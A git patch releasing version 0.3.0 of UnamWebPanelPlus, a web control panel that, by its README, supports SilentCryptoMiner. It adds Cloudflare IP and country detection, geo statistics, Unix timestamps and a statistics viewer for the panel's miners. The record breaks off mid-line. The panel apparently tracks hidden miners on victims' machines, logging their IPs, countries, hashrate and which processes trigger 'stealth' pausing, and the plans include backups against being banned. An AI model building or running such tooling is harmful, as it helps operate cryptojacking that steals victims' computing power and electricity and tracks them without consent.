From a46b4cfa2062f5f2c008e87451e97acd3b2eecf8 Mon Sep 17 00:00:00 2001 From: Alcinzal Date: Tue, 23 Jan 2024 14:02:38 +0100 Subject: [PATCH] Plus Release 0.3.0 --- CHANGELOG.md | 11 + README.md | 162 ++++--- UnamWebPanel/api/custom-table.php | 2 +- UnamWebPanel/api/endpoint.php | 19 +- UnamWebPanel/assets/json/continentCodes.json | 252 +++++++++++ UnamWebPanel/assets/json/continentNames.json | 9 + UnamWebPanel/assets/json/countryNames.json | 252 +++++++++++ UnamWebPanel/assets/php/datatables.php | 18 +- UnamWebPanel/assets/php/templates.php | 5 +- UnamWebPanel/config.php | 2 +- UnamWebPanel/internalPages/statisticsAjax.php | 4 +- UnamWebPanel/plus/countries/countries.php | 78 ---- UnamWebPanel/plus/geo/geo.php | 128 ++++++ UnamWebPanel/plus/plus.css | 16 +- UnamWebPanel/plus/plus.php | 36 +- UnamWebPanel/plus/plusFunctions.js | 48 --- UnamWebPanel/plus/statistics/statsSaver.php | 64 +-- UnamWebPanel/plus/statistics/statsViewer.php | 407 ++++++++++++++++++ UnamWebPanel/plus/statistics/viewExtra.php | 261 ----------- UnamWebPanel/plus/statistics/viewHashrate.php | 266 ------------ .../plus/statistics/viewOnlineOffline.php | 281 ------------ .../plus/totalHashrate/totalHashrate.php | 22 +- 22 files changed, 1238 insertions(+), 1105 deletions(-) create mode 100644 UnamWebPanel/assets/json/continentCodes.json create mode 100644 UnamWebPanel/assets/json/continentNames.json create mode 100644 UnamWebPanel/assets/json/countryNames.json delete mode 100644 UnamWebPanel/plus/countries/countries.php create mode 100644 UnamWebPanel/plus/geo/geo.php delete mode 100644 UnamWebPanel/plus/plusFunctions.js create mode 100644 UnamWebPanel/plus/statistics/statsViewer.php delete mode 100644 UnamWebPanel/plus/statistics/viewExtra.php delete mode 100644 UnamWebPanel/plus/statistics/viewHashrate.php delete mode 100644 UnamWebPanel/plus/statistics/viewOnlineOffline.php diff --git a/CHANGELOG.md b/CHANGELOG.md index aec3164..2f23ae8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,14 @@ +### PLUS 0.3.0 (2024-01-23) +* Changed dates in database to Unix Timestamp for better compatibility with changing timezones. +* Added Cloudflare support. Checks for headers 'CF-Connecting-IP' and 'CF-IPCountry'. +* Changed formatting in unamtChart to use a 24 hour clock instead of 12 hour. +* Changed countries to Geo. +* Added continents to Geo. +* Saved country names and continent names as json files, to prevent calling a static json from another server (country.io). +* Optimized the Plus statsSaver file. +* Changed the definition of online and offline miners. Offline meaning no connection for 180 seconds, and online meaning the opposite, no matter the status. +* Optimized the displaying of statistics at the Plus page. +* Fixed bug where 2023-12-31 was week 1. Now it is correct, showing week 53. ### PLUS 0.2.5 (2024-01-16) * Fixed bug where statistics graphs would disappear. * Fixed the charts not updating when the resizing the browser. diff --git a/README.md b/README.md index 6a891a6..c6d4415 100644 --- a/README.md +++ b/README.md @@ -1,57 +1,112 @@ -# UnamWebPanelPlus v0.2.5 +# UnamWebPanelPlus v0.3.0 A modified version of Unam's [UnamWebPanel](https://github.com/UnamSanctam/UnamWebPanel). ## Differences -### Main - * Lifetime statistics - Statistics are saved every hour forever. You can view the statistics and toggle between viewing the data hourly, daily, weekly or monthly. -* Countries - See which country your miners are from, both in the table and in a pie chart. +* Geo - See which country and continent your miners are from in a pie chart. Country is also visible in the datatable. * Total Hashrate - An overview of each algorithm, and their total hashrate, online miners and their average hashrate. * Example configurations - View examples in the configurations page to better understand what settings are available. (In the future the whole configuration page will get reworked to ensure ease of use) +* Cloudflare support - If you use Cloudflare as a DNS server, the panel will still get the correct IP address and country code, from the headers 'CF-Connecting-IP' and 'CF-IPCountry'. +* Better timezones support - All dates are saved as Unix Timestamps in the database, ensuring that dates stay true no matter what timezone. (In the future you will be able to manually select timezone on a settings page). * More to come! -### Other -* Added the XSS patch from https://github.com/UnamSanctam/UnamWebPanel/issues/317#issuecomment-1884683799 - -### Video (Outdated) - -The following video is outdated, however it still looks pretty similar. The IP addresses shown in the video are fake, it's only testing data. Here is the video, sorry for the flickering: - -https://github.com/Alcinzal/UnamWebPanelPlus/assets/153958388/03144cbe-210d-443a-a33c-0dafddeb7eec - -## What needs to be worked on? - -### Bugs -* ~~When visting between the Plus page and the Statistics page, the charts at Statistics disappear until you refresh the page.~~ -* The charts at the plus statistics section will sometimes say that the end of the year is week 1, but it should say week 52 or 53. -* ~~The charts dont update when resizing the browser window.~~ -* ~~IMPORTANT: The JSON files are available to whoever visits them directly.~~ - -### Ideas -Here are some ideas, brainstorming I guess, so some of them might be dumb or useless. -* ~~Instead of saving all statistics to a json file, save it to the database instead.~~ -* Add settings section, where one can change the config.php file from the panel (might pose a security risk). -* Add another settings section where the user can adjust how often or for how long the plusStats gets saved. -* Being able to disable the WebPanel in case it gets hacked, so the miners just use their chosen settings instead of the Panels settings. However if the WebPanel is hacked I suppose the hacker could just enable it again anyways haha. -* Offline miners being removed automatically after a chosen period of time. -* Add backuping, being able to backup the database file (and statistics json files) every now and then to another server, or to a cloud service like MEGA.io or Google drive. This way if you get banned for whatever reason, you still have your database and statistics files. -* ~~Save which legends are hidden or shown at the statistics section.~~ -* Adding a table to the countries section, so I can view more details on each country, like how many miners, what the total hashrate is for each country for each algorithm. Maybe also add a region table/chart. -* Automatically choosing a configuration based on where the miner is based. Don't know how important this would be, but I think I saw someone suggesting it at Unam's Github. -* Adding translation for the different languages at the Plus section. -* Add a chart or table that shows which processes cause the most stealth pausing. -* Add a chart or table for top online GPUs and CPUs and how much they mine. -* Maybe some sort of indicator in the statistics chart that shows when you changed the configuration, this way you can sort of optimize your configuration by testing different configs and then look at the statistics when you had the results you're looking for. -* Adding an advanced page, where you can add miners/data to the database, for testing. -* Adding a update section, where you can check for updates from the github, and if there is a new update it updates it automatically. +## Checklist +A checklist including what is done, what is planned, and a few ideas. + +- [x] Add total current hashrate for all algorithms + - [x] How much each computer mines on each algorithm on average, right below the total hashrate of each algorithm. Also add how many miners are on each algorithm. +- [ ] Statistics + - [ ] The statistics section in the Plus page can take some time to load with big amounts of data, since most of the computing is done on the server with PHP. Some of it should be done in javascript, it is done in PHP because PHP has much better date and time integration. + - [x] Save timestamp to database instead of date, because then it is easier to translate to selected date format. + - [x] Change online and offline meaning in stats, so that online includes everything, except if it has been more than 180 seconds. Online simply means it has connected to the server in the last 3 minutes. Change "Total Online/Offliner Miners" to something like "Total Active/Offline Miners". + - [x] Also add a total active + idle option in the total extra + - [x] Optimize statssaver + - [x] Change so that hourly statistics does not show week number. + - [x] I need to fix that week is bugged on new year. It says 2023-12-31 is week 1. + - [x] Optimize the statistics, since almost all the graphs are the exact same code, just a little different. + - [ ] Add something that allows the user to see how the hashrate or how the miners are when the config gets changed? + - [x] Save what hidden and shown legends to localStorage. Also what interval is chosen, and what "Miners" is chosen at the Total Algorithms section. + - [x] Instead of saving all statistics to a json file, save it to the database instead. + - [x] IMPORTANT: The JSON files are available to whoever visits them directly. + - [x] Statistics should get updated each time the endpoint is called, but only write to current hour, and overwrite hour if it exists. + - [x] Save: + - [x] Date + - [x] Total Hashrate + - [x] Total Miners + - [x] Total Online + - [x] Total Offline + - [x] Online Miners + - [x] Offline Miners + - [x] Total Active + - [x] Total Idle + - [x] Total Starting + - [x] Total Paused + - [x] Total Stopped + - [x] Total Error + - [x] Total VRAM + - [x] Total Unknown +- [ ] Configurations + - [x] Make configurations longer by default, and also add a section that allows the user to see how the configuration should look like and what values are allowed. + - [ ] Edit configurations so instead of text you get to toggle between options and write in a textbox for each option. +- [ ] Add top processes that pauses the miner. +- [ ] GPU and CPU + - [ ] Also maybe ranking the top GPUs and CPUs and how much they mine combined, and maybe on average too. + - [ ] Being able to transform the GPU and CPU charts into a ranking table. +- [ ] Geo + - [x] If you use cloudflare, you can get the country by reading the header "CF-IPCountry", also need to get their IP from "CF-Connecting-IP", if not it gets cloudflares IP. + - [x] Optimize endpoint so the json file not always gets called, rather it gets called when the data should be displayed, in the table or in the stats. + - [x] Save the Countries and Continents as JSON files. + - [x] Change "Countries" to geo + - [x] Save countries to database + - [ ] Add more statistics for geo + - [x] How many are online from each country and continent + - [ ] How much each country and continent mines for each algorithm + - [ ] Add an option that would allow each region to get their own configuration. +- [ ] In the miners tab also add a little toggle button that allows you to toggle between hiding the user or not, because for some reason if the user is hidden then you can see a lot more columns. +- [ ] Which applications cause the most stealth pausing. +- [x] Switching from plus back to statistics panel makes those stats disappear. +- [ ] Add translations for plus and settings. +- [ ] Settings + - [ ] Should look kinda like chrome settings + - [ ] Disable the webpanel, in case it gets hacked. + - [ ] Config section + - [ ] Password - string + - [ ] Database file - string + - [ ] Hashrate history enable - toggle + - [ ] Hashrate history limit - int (time) + - [ ] Failed login blocktime - int + - [ ] Failed login blocktries - int + - [ ] Automatic offline miners remover + - [ ] Change timezone, so that the statistics show the correct clock and time. + - [ ] Lifetime statistics + - [ ] How often they are saved - int (time) (maybe) + - [ ] How long they are saved - int (time) + - [ ] Database + - [ ] Importing database, so that if someone updates to a newer version with a different type of database, it can import the old data into the new data. + - [ ] Backup section, backuping statistics file to mega.nz or something similar. + - [ ] Update section, where you can check for updates from the github, and if there is a new update it updates it automatically. + - [ ] Advanced tab with some advanced things? Like adding miners manually, to test stuff. +- [ ] Change the responsiveness of the Plus page. Zooming in and out and resizing window and such. +- [ ] Change responsiveness of the statistics page. ## Supported Projects * [SilentCryptoMiner](https://github.com/UnamSanctam/SilentCryptoMiner) ## Changelog +### PLUS 0.3.0 (2024-01-23) +* Changed dates in database to Unix Timestamp for better compatibility with changing timezones. +* Added Cloudflare support. Checks for headers 'CF-Connecting-IP' and 'CF-IPCountry'. +* Changed formatting in unamtChart to use a 24 hour clock instead of 12 hour. +* Changed countries to Geo. +* Added continents to Geo. +* Saved country names and continent names as json files, to prevent calling a static json from another server (country.io). +* Optimized the Plus statsSaver file. +* Changed the definition of online and offline miners. Offline meaning no connection for 180 seconds, and online meaning the opposite, no matter the status. +* Optimized the displaying of statistics at the Plus page. +* Fixed bug where 2023-12-31 was week 1. Now it is correct, showing week 53. ### PLUS 0.2.5 (2024-01-16) * Fixed bug where statistics graphs would disappear. * Fixed the charts not updating when the resizing the browser. @@ -69,37 +124,6 @@ Here are some ideas, brainstorming I guess, so some of them might be dumb or use * Added total hashrate section. * Added statistics section. * Added countries section. -### 1.7.1 (06/01/2023) -* Moved miner statistics to a new "Statistics" page -* Added more statistics such as GPU, CPU, Version and Algorithm graphs -* Fixed "Hide Offline Miners" bug -* Reworked endpoint again for better performance -* Added inactive journal size limit and higher cache limit -* Reduced WAL file growth and added cleaning -* Changed SQLite synchronous mode to OFF for higher performance -* Added Spanish translation (Xeneht) -### 1.7.0 (25/12/2022) -* Greatly improved database performance -* Greatly improved endpoint performance -* Added configurable hashrate history feature -* Added "Total Hashrate" graphs for each algorithm -* Added individual "Hashrate History" to each miner -* Added miner status statistics -* Fixed datatable width scaling -* Added "Hide Offline Miners" option -* Fixed status priority for offline and error statuses -* Added Russian translation (marat2509) -* Added Ukrainian translation (Zem0rt) -### 1.6.0 (01/06/2022) -* Added support for reporting the executable name of the program that triggered "Stealth" and displaying it in the status text -* Added offline miner removal tool which removes miners who have been offline for longer than the chosen number of days -* Added support for new miner ID per build to allow for running multiple miners of the same type at the same time -* Added Polish translation (Werlrlivx) -* Changed database settings to allow for better performance during large amounts of activity -* Changed offline status time threshold from five minutes to three minutes -* Changed endpoint text when the request isn't from the miner to reduce confusion -* Changed string sanitation away from FILTER_SANITIZE_STRING due to PHP 8.1 deprication -* Moved database to its own folder to allow for broader database file blocks [You can view the full Changelog here](CHANGELOG.md) diff --git a/UnamWebPanel/api/custom-table.php b/UnamWebPanel/api/custom-table.php index 4f27a95..8b15115 100644 --- a/UnamWebPanel/api/custom-table.php +++ b/UnamWebPanel/api/custom-table.php @@ -46,7 +46,7 @@ function db_setFilters(&$options, $alias, $allowedfilters){ $options['db_where'][] = [ 'db_column' => 'ms_lastConnection', 'db_operation' => '>', - 'db_value' => date('Y-m-d H:i:s', strtotime('-3 minutes'))]; + 'db_value' => strtotime('-3 minutes')]; } } break; diff --git a/UnamWebPanel/api/endpoint.php b/UnamWebPanel/api/endpoint.php index 485e2f7..f8d0657 100644 --- a/UnamWebPanel/api/endpoint.php +++ b/UnamWebPanel/api/endpoint.php @@ -10,8 +10,10 @@ return; } -$hostaddress = $_SERVER["REMOTE_ADDR"] ?? '127.0.0.1'; -$currentDate = date('Y-m-d H:i:s'); +$headers = getallheaders(); + +$hostaddress = $headers['CF-Connecting-IP'] ?? $_SERVER["REMOTE_ADDR"] ?? '127.0.0.1'; +$currentDate = time(); //Allows for the IP to get received as data. Only use when testing or creating fake data. //$hostaddress = getData('ip'); @@ -46,7 +48,7 @@ function getData($key){ 'ms_stealthfound'=>getData('stealthfound'), 'ms_remoteURL'=>getData('remoteconfig'), 'ms_lastConnection'=>$currentDate, - 'ms_country'=>'Unknown' + 'ms_country'=>$headers['CF-IPCountry'] ?? 'Unknown' ]; try { @@ -66,12 +68,15 @@ function getData($key){ $s->execute(array_merge(array_values($fields), [$configres['ms_minerID']])); $s->closeCursor(); } else { - $countries = get_object_vars(json_decode(file_get_contents('http://country.io/names.json'))); - $minerCountry = file_get_contents('https://api.country.is/'.$hostaddress); - if (!($minerCountry === FALSE)){ - $fields['ms_country'] = $countries[get_object_vars(json_decode($minerCountry))['country']]; + if($fields['ms_country'] == 'Unknown'){ + $minerCountry = file_get_contents('https://api.country.is/'.$hostaddress); + if (!($minerCountry === FALSE)){ + $fields['ms_country'] = json_decode($minerCountry, true)['country'] ?? 'Unknown'; + } } + $fields['ms_creationDate'] = $currentDate; + $s = getConn()->prepare("INSERT INTO miners (ms_uqhash, ms_rid, ms_type, ms_config, ".implode(', ', array_keys($fields)).") VALUES (?, ?, ?, ?".str_repeat(", ?", count($fields)).")"); $s->execute(array_merge([$uqhash, $id, $type, ($type == 'xmrig' ? 1 : 2)], array_values($fields))); $s->closeCursor(); diff --git a/UnamWebPanel/assets/json/continentCodes.json b/UnamWebPanel/assets/json/continentCodes.json new file mode 100644 index 0000000..0ba344f --- /dev/null +++ b/UnamWebPanel/assets/json/continentCodes.json @@ -0,0 +1,252 @@ +{ + "BD": "AS", + "BE": "EU", + "BF": "AF", + "BG": "EU", + "BA": "EU", + "BB": "NA", + "WF": "OC", + "BL": "NA", + "BM": "NA", + "BN": "AS", + "BO": "SA", + "BH": "AS", + "BI": "AF", + "BJ": "AF", + "BT": "AS", + "JM": "NA", + "BV": "AN", + "BW": "AF", + "WS": "OC", + "BQ": "NA", + "BR": "SA", + "BS": "NA", + "JE": "EU", + "BY": "EU", + "BZ": "NA", + "RU": "EU", + "RW": "AF", + "RS": "EU", + "TL": "OC", + "RE": "AF", + "TM": "AS", + "TJ": "AS", + "RO": "EU", + "TK": "OC", + "GW": "AF", + "GU": "OC", + "GT": "NA", + "GS": "AN", + "GR": "EU", + "GQ": "AF", + "GP": "NA", + "JP": "AS", + "GY": "SA", + "GG": "EU", + "GF": "SA", + "GE": "AS", + "GD": "NA", + "GB": "EU", + "GA": "AF", + "SV": "NA", + "GN": "AF", + "GM": "AF", + "GL": "NA", + "GI": "EU", + "GH": "AF", + "OM": "AS", + "TN": "AF", + "JO": "AS", + "HR": "EU", + "HT": "NA", + "HU": "EU", + "HK": "AS", + "HN": "NA", + "HM": "AN", + "VE": "SA", + "PR": "NA", + "PS": "AS", + "PW": "OC", + "PT": "EU", + "SJ": "EU", + "PY": "SA", + "IQ": "AS", + "PA": "NA", + "PF": "OC", + "PG": "OC", + "PE": "SA", + "PK": "AS", + "PH": "AS", + "PN": "OC", + "PL": "EU", + "PM": "NA", + "ZM": "AF", + "EH": "AF", + "EE": "EU", + "EG": "AF", + "ZA": "AF", + "EC": "SA", + "IT": "EU", + "VN": "AS", + "SB": "OC", + "ET": "AF", + "SO": "AF", + "ZW": "AF", + "SA": "AS", + "ES": "EU", + "ER": "AF", + "ME": "EU", + "MD": "EU", + "MG": "AF", + "MF": "NA", + "MA": "AF", + "MC": "EU", + "UZ": "AS", + "MM": "AS", + "ML": "AF", + "MO": "AS", + "MN": "AS", + "MH": "OC", + "MK": "EU", + "MU": "AF", + "MT": "EU", + "MW": "AF", + "MV": "AS", + "MQ": "NA", + "MP": "OC", + "MS": "NA", + "MR": "AF", + "IM": "EU", + "UG": "AF", + "TZ": "AF", + "MY": "AS", + "MX": "NA", + "IL": "AS", + "FR": "EU", + "IO": "AS", + "SH": "AF", + "FI": "EU", + "FJ": "OC", + "FK": "SA", + "FM": "OC", + "FO": "EU", + "NI": "NA", + "NL": "EU", + "NO": "EU", + "NA": "AF", + "VU": "OC", + "NC": "OC", + "NE": "AF", + "NF": "OC", + "NG": "AF", + "NZ": "OC", + "NP": "AS", + "NR": "OC", + "NU": "OC", + "CK": "OC", + "XK": "EU", + "CI": "AF", + "CH": "EU", + "CO": "SA", + "CN": "AS", + "CM": "AF", + "CL": "SA", + "CC": "AS", + "CA": "NA", + "CG": "AF", + "CF": "AF", + "CD": "AF", + "CZ": "EU", + "CY": "EU", + "CX": "AS", + "CR": "NA", + "CW": "NA", + "CV": "AF", + "CU": "NA", + "SZ": "AF", + "SY": "AS", + "SX": "NA", + "KG": "AS", + "KE": "AF", + "SS": "AF", + "SR": "SA", + "KI": "OC", + "KH": "AS", + "KN": "NA", + "KM": "AF", + "ST": "AF", + "SK": "EU", + "KR": "AS", + "SI": "EU", + "KP": "AS", + "KW": "AS", + "SN": "AF", + "SM": "EU", + "SL": "AF", + "SC": "AF", + "KZ": "AS", + "KY": "NA", + "SG": "AS", + "SE": "EU", + "SD": "AF", + "DO": "NA", + "DM": "NA", + "DJ": "AF", + "DK": "EU", + "VG": "NA", + "DE": "EU", + "YE": "AS", + "DZ": "AF", + "US": "NA", + "UY": "SA", + "YT": "AF", + "UM": "OC", + "LB": "AS", + "LC": "NA", + "LA": "AS", + "TV": "OC", + "TW": "AS", + "TT": "NA", + "TR": "AS", + "LK": "AS", + "LI": "EU", + "LV": "EU", + "TO": "OC", + "LT": "EU", + "LU": "EU", + "LR": "AF", + "LS": "AF", + "TH": "AS", + "TF": "AN", + "TG": "AF", + "TD": "AF", + "TC": "NA", + "LY": "AF", + "VA": "EU", + "VC": "NA", + "AE": "AS", + "AD": "EU", + "AG": "NA", + "AF": "AS", + "AI": "NA", + "VI": "NA", + "IS": "EU", + "IR": "AS", + "AM": "AS", + "AL": "EU", + "AO": "AF", + "AQ": "AN", + "AS": "OC", + "AR": "SA", + "AU": "OC", + "AT": "EU", + "AW": "NA", + "IN": "AS", + "AX": "EU", + "AZ": "AS", + "IE": "EU", + "ID": "AS", + "UA": "EU", + "QA": "AS", + "MZ": "AF" +} \ No newline at end of file diff --git a/UnamWebPanel/assets/json/continentNames.json b/UnamWebPanel/assets/json/continentNames.json new file mode 100644 index 0000000..55189f9 --- /dev/null +++ b/UnamWebPanel/assets/json/continentNames.json @@ -0,0 +1,9 @@ +{ + "AS": "Asia", + "AF": "Africa", + "EU": "Europe", + "NA": "North America", + "SA": "South America", + "OC": "Oceania", + "AN": "Antarctica" +} \ No newline at end of file diff --git a/UnamWebPanel/assets/json/countryNames.json b/UnamWebPanel/assets/json/countryNames.json new file mode 100644 index 0000000..0f9f8f8 --- /dev/null +++ b/UnamWebPanel/assets/json/countryNames.json @@ -0,0 +1,252 @@ +{ + "BD": "Bangladesh", + "BE": "Belgium", + "BF": "Burkina Faso", + "BG": "Bulgaria", + "BA": "Bosnia and Herzegovina", + "BB": "Barbados", + "WF": "Wallis and Futuna", + "BL": "Saint Barthelemy", + "BM": "Bermuda", + "BN": "Brunei", + "BO": "Bolivia", + "BH": "Bahrain", + "BI": "Burundi", + "BJ": "Benin", + "BT": "Bhutan", + "JM": "Jamaica", + "BV": "Bouvet Island", + "BW": "Botswana", + "WS": "Samoa", + "BQ": "Bonaire, Saint Eustatius and Saba ", + "BR": "Brazil", + "BS": "Bahamas", + "JE": "Jersey", + "BY": "Belarus", + "BZ": "Belize", + "RU": "Russia", + "RW": "Rwanda", + "RS": "Serbia", + "TL": "East Timor", + "RE": "Reunion", + "TM": "Turkmenistan", + "TJ": "Tajikistan", + "RO": "Romania", + "TK": "Tokelau", + "GW": "Guinea-Bissau", + "GU": "Guam", + "GT": "Guatemala", + "GS": "South Georgia and the South Sandwich Islands", + "GR": "Greece", + "GQ": "Equatorial Guinea", + "GP": "Guadeloupe", + "JP": "Japan", + "GY": "Guyana", + "GG": "Guernsey", + "GF": "French Guiana", + "GE": "Georgia", + "GD": "Grenada", + "GB": "United Kingdom", + "GA": "Gabon", + "SV": "El Salvador", + "GN": "Guinea", + "GM": "Gambia", + "GL": "Greenland", + "GI": "Gibraltar", + "GH": "Ghana", + "OM": "Oman", + "TN": "Tunisia", + "JO": "Jordan", + "HR": "Croatia", + "HT": "Haiti", + "HU": "Hungary", + "HK": "Hong Kong", + "HN": "Honduras", + "HM": "Heard Island and McDonald Islands", + "VE": "Venezuela", + "PR": "Puerto Rico", + "PS": "Palestinian Territory", + "PW": "Palau", + "PT": "Portugal", + "SJ": "Svalbard and Jan Mayen", + "PY": "Paraguay", + "IQ": "Iraq", + "PA": "Panama", + "PF": "French Polynesia", + "PG": "Papua New Guinea", + "PE": "Peru", + "PK": "Pakistan", + "PH": "Philippines", + "PN": "Pitcairn", + "PL": "Poland", + "PM": "Saint Pierre and Miquelon", + "ZM": "Zambia", + "EH": "Western Sahara", + "EE": "Estonia", + "EG": "Egypt", + "ZA": "South Africa", + "EC": "Ecuador", + "IT": "Italy", + "VN": "Vietnam", + "SB": "Solomon Islands", + "ET": "Ethiopia", + "SO": "Somalia", + "ZW": "Zimbabwe", + "SA": "Saudi Arabia", + "ES": "Spain", + "ER": "Eritrea", + "ME": "Montenegro", + "MD": "Moldova", + "MG": "Madagascar", + "MF": "Saint Martin", + "MA": "Morocco", + "MC": "Monaco", + "UZ": "Uzbekistan", + "MM": "Myanmar", + "ML": "Mali", + "MO": "Macao", + "MN": "Mongolia", + "MH": "Marshall Islands", + "MK": "Macedonia", + "MU": "Mauritius", + "MT": "Malta", + "MW": "Malawi", + "MV": "Maldives", + "MQ": "Martinique", + "MP": "Northern Mariana Islands", + "MS": "Montserrat", + "MR": "Mauritania", + "IM": "Isle of Man", + "UG": "Uganda", + "TZ": "Tanzania", + "MY": "Malaysia", + "MX": "Mexico", + "IL": "Israel", + "FR": "France", + "IO": "British Indian Ocean Territory", + "SH": "Saint Helena", + "FI": "Finland", + "FJ": "Fiji", + "FK": "Falkland Islands", + "FM": "Micronesia", + "FO": "Faroe Islands", + "NI": "Nicaragua", + "NL": "Netherlands", + "NO": "Norway", + "NA": "Namibia", + "VU": "Vanuatu", + "NC": "New Caledonia", + "NE": "Niger", + "NF": "Norfolk Island", + "NG": "Nigeria", + "NZ": "New Zealand", + "NP": "Nepal", + "NR": "Nauru", + "NU": "Niue", + "CK": "Cook Islands", + "XK": "Kosovo", + "CI": "Ivory Coast", + "CH": "Switzerland", + "CO": "Colombia", + "CN": "China", + "CM": "Cameroon", + "CL": "Chile", + "CC": "Cocos Islands", + "CA": "Canada", + "CG": "Republic of the Congo", + "CF": "Central African Republic", + "CD": "Democratic Republic of the Congo", + "CZ": "Czech Republic", + "CY": "Cyprus", + "CX": "Christmas Island", + "CR": "Costa Rica", + "CW": "Curacao", + "CV": "Cape Verde", + "CU": "Cuba", + "SZ": "Swaziland", + "SY": "Syria", + "SX": "Sint Maarten", + "KG": "Kyrgyzstan", + "KE": "Kenya", + "SS": "South Sudan", + "SR": "Suriname", + "KI": "Kiribati", + "KH": "Cambodia", + "KN": "Saint Kitts and Nevis", + "KM": "Comoros", + "ST": "Sao Tome and Principe", + "SK": "Slovakia", + "KR": "South Korea", + "SI": "Slovenia", + "KP": "North Korea", + "KW": "Kuwait", + "SN": "Senegal", + "SM": "San Marino", + "SL": "Sierra Leone", + "SC": "Seychelles", + "KZ": "Kazakhstan", + "KY": "Cayman Islands", + "SG": "Singapore", + "SE": "Sweden", + "SD": "Sudan", + "DO": "Dominican Republic", + "DM": "Dominica", + "DJ": "Djibouti", + "DK": "Denmark", + "VG": "British Virgin Islands", + "DE": "Germany", + "YE": "Yemen", + "DZ": "Algeria", + "US": "United States", + "UY": "Uruguay", + "YT": "Mayotte", + "UM": "United States Minor Outlying Islands", + "LB": "Lebanon", + "LC": "Saint Lucia", + "LA": "Laos", + "TV": "Tuvalu", + "TW": "Taiwan", + "TT": "Trinidad and Tobago", + "TR": "Turkey", + "LK": "Sri Lanka", + "LI": "Liechtenstein", + "LV": "Latvia", + "TO": "Tonga", + "LT": "Lithuania", + "LU": "Luxembourg", + "LR": "Liberia", + "LS": "Lesotho", + "TH": "Thailand", + "TF": "French Southern Territories", + "TG": "Togo", + "TD": "Chad", + "TC": "Turks and Caicos Islands", + "LY": "Libya", + "VA": "Vatican", + "VC": "Saint Vincent and the Grenadines", + "AE": "United Arab Emirates", + "AD": "Andorra", + "AG": "Antigua and Barbuda", + "AF": "Afghanistan", + "AI": "Anguilla", + "VI": "U.S. Virgin Islands", + "IS": "Iceland", + "IR": "Iran", + "AM": "Armenia", + "AL": "Albania", + "AO": "Angola", + "AQ": "Antarctica", + "AS": "American Samoa", + "AR": "Argentina", + "AU": "Australia", + "AT": "Austria", + "AW": "Aruba", + "IN": "India", + "AX": "Aland Islands", + "AZ": "Azerbaijan", + "IE": "Ireland", + "ID": "Indonesia", + "UA": "Ukraine", + "QA": "Qatar", + "MZ": "Mozambique" +} \ No newline at end of file diff --git a/UnamWebPanel/assets/php/datatables.php b/UnamWebPanel/assets/php/datatables.php index 559e4e0..7bb4f11 100644 --- a/UnamWebPanel/assets/php/datatables.php +++ b/UnamWebPanel/assets/php/datatables.php @@ -2,6 +2,8 @@ /* Made by Unam Sanctam https://github.com/UnamSanctam */ require_once 'templates.php'; +$countryNames = json_decode(file_get_contents(dirname(__DIR__, 2) . '/assets/json/countryNames.json'), true); + $datatables = [ 'tables'=>[ 'miner-table'=>[ @@ -27,7 +29,11 @@ ], 'country'=>[ 'db_column'=>'country', - 'display'=>$larr['Country'] + 'display'=>$larr['Country'], + 'formatting'=>function($d){ + global $countryNames; + return $countryNames[$d] ?? 'Unknown'; + } ], 'stealthfound'=>[ 'db_column'=>'stealthfound', @@ -38,10 +44,10 @@ 'display'=>$larr['Status'], 'formatting'=>function($d, $s){ global $larr; - $offline = isset($s['ms_lastConnection']) && ((strtotime(date("Y-m-d H:i:s")) - strtotime($s['ms_lastConnection'])) > 180); + $offline = isset($s['ms_lastConnection']) && ((strtotime(date("Y-m-d H:i:s")) - $s['ms_lastConnection']) > 180); $status = unamtMinerStatus($offline ? -1 : (empty($s['ms_pool']) && $d != 6 ? 7 : $d)); if($offline) { - $status .= unamtStatusColor('red', " (".unamtTimeFormat((strtotime(date("Y-m-d H:i:s")) - strtotime($s['ms_lastConnection'])), true).")"); + $status .= unamtStatusColor('red', " (".unamtTimeFormat((strtotime(date("Y-m-d H:i:s")) - $s['ms_lastConnection']), true).")"); } if($d == 4) { $status = str_replace('{REASON}', !empty($s['ms_stealthfound']) ? $s['ms_stealthfound'] : $larr['Unknown'], $status); @@ -130,10 +136,16 @@ 'lastConnection'=>[ 'db_column'=>'lastConnection', 'display'=>$larr['last_connection'], + 'formatting'=>function($d){ + return date('Y-m-d H:i:s', $d); + } ], 'creationDate'=>[ 'db_column'=>'creationDate', 'display'=>$larr['first_connection'], + 'formatting'=>function($d){ + return date('Y-m-d H:i:s', $d); + } ], 'hashrateHistory'=>[ 'db_column'=>'minerID', diff --git a/UnamWebPanel/assets/php/templates.php b/UnamWebPanel/assets/php/templates.php index c8009b5..e23bc97 100644 --- a/UnamWebPanel/assets/php/templates.php +++ b/UnamWebPanel/assets/php/templates.php @@ -40,7 +40,8 @@ function generalCSSIncludes(){ - "; + + "; } function unamtFormGroup($content, $options=[]){ @@ -240,7 +241,7 @@ function unamtChart($charttype, $chartconfig){ } function templateHashrateChart($label, $data) { - return unamtChart('hashrate', json_encode(['type'=>'bar', 'data'=>['datasets'=>[['label'=>$label, 'data'=>$data, 'fill'=>true]]], 'options'=>['responsive'=>true, 'scales'=>['x'=>['type'=>'time', 'max'=>date('Y-m-d H:i:00'), 'min'=>$data[0]['x'], 'time'=>['minUnit'=>'minute']], 'y'=>['ticks'=>['callback'=>''], 'min'=>0]]]])); + return unamtChart('hashrate', json_encode(['type'=>'bar', 'data'=>['datasets'=>[['label'=>$label, 'data'=>$data, 'fill'=>true]]], 'options'=>['responsive'=>true, 'scales'=>['x'=>['type'=>'time', 'max'=>date('Y-m-d H:i:00'), 'min'=>$data[0]['x'], 'time'=>['minUnit'=>'minute', 'tooltipFormat'=>'yyyy-MM-dd HH:mm:ss', 'displayFormats'=>['minute'=>'HH:mm', 'hour'=>'HH:mm']]], 'y'=>['ticks'=>['callback'=>''], 'min'=>0]]]])); } function templateDatatableTool($text, $checked, $options){ diff --git a/UnamWebPanel/config.php b/UnamWebPanel/config.php index a186726..b9efcf6 100644 --- a/UnamWebPanel/config.php +++ b/UnamWebPanel/config.php @@ -49,6 +49,6 @@ 'es'=>'Spanish' ]; -$config['unam_version'] = "PLUS 0.2.5"; +$config['unam_version'] = "PLUS 0.3.0"; global $config; \ No newline at end of file diff --git a/UnamWebPanel/internalPages/statisticsAjax.php b/UnamWebPanel/internalPages/statisticsAjax.php index 8af13c8..431c0d0 100644 --- a/UnamWebPanel/internalPages/statisticsAjax.php +++ b/UnamWebPanel/internalPages/statisticsAjax.php @@ -40,7 +40,7 @@ foreach($miners as $miner) { $stats['total']++; - if($miner['ms_lastConnection'] && (strtotime($currentDate) - 